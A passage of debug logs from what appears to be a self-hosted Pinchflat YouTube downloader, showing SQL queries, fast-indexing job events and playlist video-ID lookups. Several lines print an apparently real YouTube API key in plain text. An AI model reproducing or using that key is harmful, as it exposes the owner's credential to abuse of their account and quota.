livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:15:20.766 [debug] QUERY OK source="tasks" db=0.1ms idle=49.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268413, 9, ~U[2026-10-09 22:15:20Z], ~U[2026-10-09 22:15:20Z]] 17:15:20.766 [info] {"args":{"id":9},"id":5268374,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":387868,"event":"job:stop","queue_time":21107412,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:20.772 [info] {"args":{"id":17},"id":5268375,"meta":{},"system_time":1791584120772180637,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:20.772 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:15:20.772 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.772 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:20.772 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.772 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:15:20.772 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.773 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:20.984 [debug] QUERY OK source="media_items" db=0.5ms idle=211.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:15:20.985 [debug] QUERY OK source="media_items" db=0.2ms idle=212.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:15:20.986 [debug] QUERY OK source="tasks" db=0.1ms idle=213.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268414, 17, ~U[2026-10-09 22:15:20Z], ~U[2026-10-09 22:15:20Z]] 17:15:20.986 [info] {"args":{"id":17},"id":5268375,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":214067,"event":"job:stop","queue_time":21305940,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:20.992 [info] {"args":{"id":11},"id":5268376,"meta":{},"system_time":1791584120992260176,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:20.992 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:15:20.992 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.992 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:20.993 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.993 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:15:20.993 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.993 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:21.230 [debug] QUERY OK source="media_items" db=0.7ms idle=237.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "xxCqvOV-qdU", "luKNGNqXWiU", "9hf6QDQ8Zcc", "MD6_U_hMLt4", "9Eme-c6nqCs", "vankPlotnvE", "QGMjCPjUGlk", "5J9Sd4jJAy4", "HoVsWE1_JUk", "vdL21cIwIaA", "LIBSaNq8qFM", "nw5h-Vdeb6o", "MWy_nCypzFU", "4sLs2bPxwUU", "L7T3eGnzPN4", "HUvKLQpBn0U", "kTdv5qf7KCk", "TAhKuvWrReU", "sjez5hHWYys", "ywzcLeaYSPg", "KA2BT5VZw3k", "mNyKAPKal44", "fsyBvBEwraU", "4ATnadlQex4", "iri2lLTWImE", "d6SPfWamurY", "34P8ibb9wP4", "wvFyNI7PUqY", "yPGhKPOKj3k", "0vguAdTZqWk", "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", ...] 17:15:21.232 [debug] QUERY OK source="media_items" db=1.3ms idle=238.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:15:21.233 [debug] QUERY OK source="tasks" db=0.1ms idle=240.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268415, 11, ~U[2026-10-09 22:15:21Z], ~U[2026-10-09 22:15:21Z]] 17:15:21.233 [info] {"args":{"id":11},"id":5268376,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":241203,"event":"job:stop","queue_time":20678976,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:21.240 [info] {"args":{"id":26},"id":5268377,"meta":{},"system_time":1791584121240284389,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:21.240 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:15:21.240 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.241 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:21.241 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.241 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:15:21.241 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.241 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:21.387 [debug] QUERY OK source="media_items" db=1.2ms idle=145.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "h8rgsImRHuQ", "via0_wvzUZY", "DlwsK8hvmO4", "ex6jvnGa9uA", "aLoq_GYrI68", "TObpBJWbl1A", "WXKsP_yYwhE", "HtSsvOpSyT0", "tin9fSraDwI", "wOslLkkRVp8", "5OtS03t-3UM", "0ulic7lyghc", "aY5wQ0nDIgs", "SnNcKZSBZuI", "b_abz1qNqqQ", "re2Y9BQYVm8", "sOwFK6y93XE", "g8DhxTnzy6E", "MAeBbZHStLQ", "b1EwE57OgkI", "BgGXKzxTyRM", "ssaMKXWmYNc", "0-Ib3bm0hr0", "QegdQJxT3wg", "FHrR9JuUmSs", "MkzJIvNqVqI", "yPycoAY64gM", "GLzG9pPai0Q", "_tIXugC9I6Q", "ZLc88XpOidI", "5iGbp98gGIg", "OK3pGLT71jI", "v6nDYccHGL4", "kn6GYMTASUM", "N3LSKJlOFN8", "qg8TRfwmlbQ", "P1bfNN_qQWQ", "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", ...] 17:15:21.388 [debug] QUERY OK source="media_items" db=0.6ms idle=147.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:15:21.389 [debug] QUERY OK source="tasks" db=0.1ms idle=147.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268416, 26, ~U[2026-10-09 22:15:21Z], ~U[2026-10-09 22:15:21Z]] 17:15:21.389 [info] {"args":{"id":26},"id":5268377,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":149093,"event":"job:stop","queue_time":20750176,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:21.395 [info] {"args":{"id":30},"id":5268378,"meta":{},"system_time":1791584121395140709,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:21.395 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:15:21.395 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.395 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:21.395 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.395 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:15:21.395 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.395 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:21.514 [debug] QUERY OK source="media_items" db=0.4ms idle=118.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:15:21.515 [debug] QUERY OK source="media_items" db=0.1ms idle=119.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:15:21.516 [debug] QUERY OK source="tasks" db=0.1ms idle=120.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268417, 30, ~U[2026-10-09 22:15:21Z], ~U[2026-10-09 22:15:21Z]] 17:15:21.516 [info] 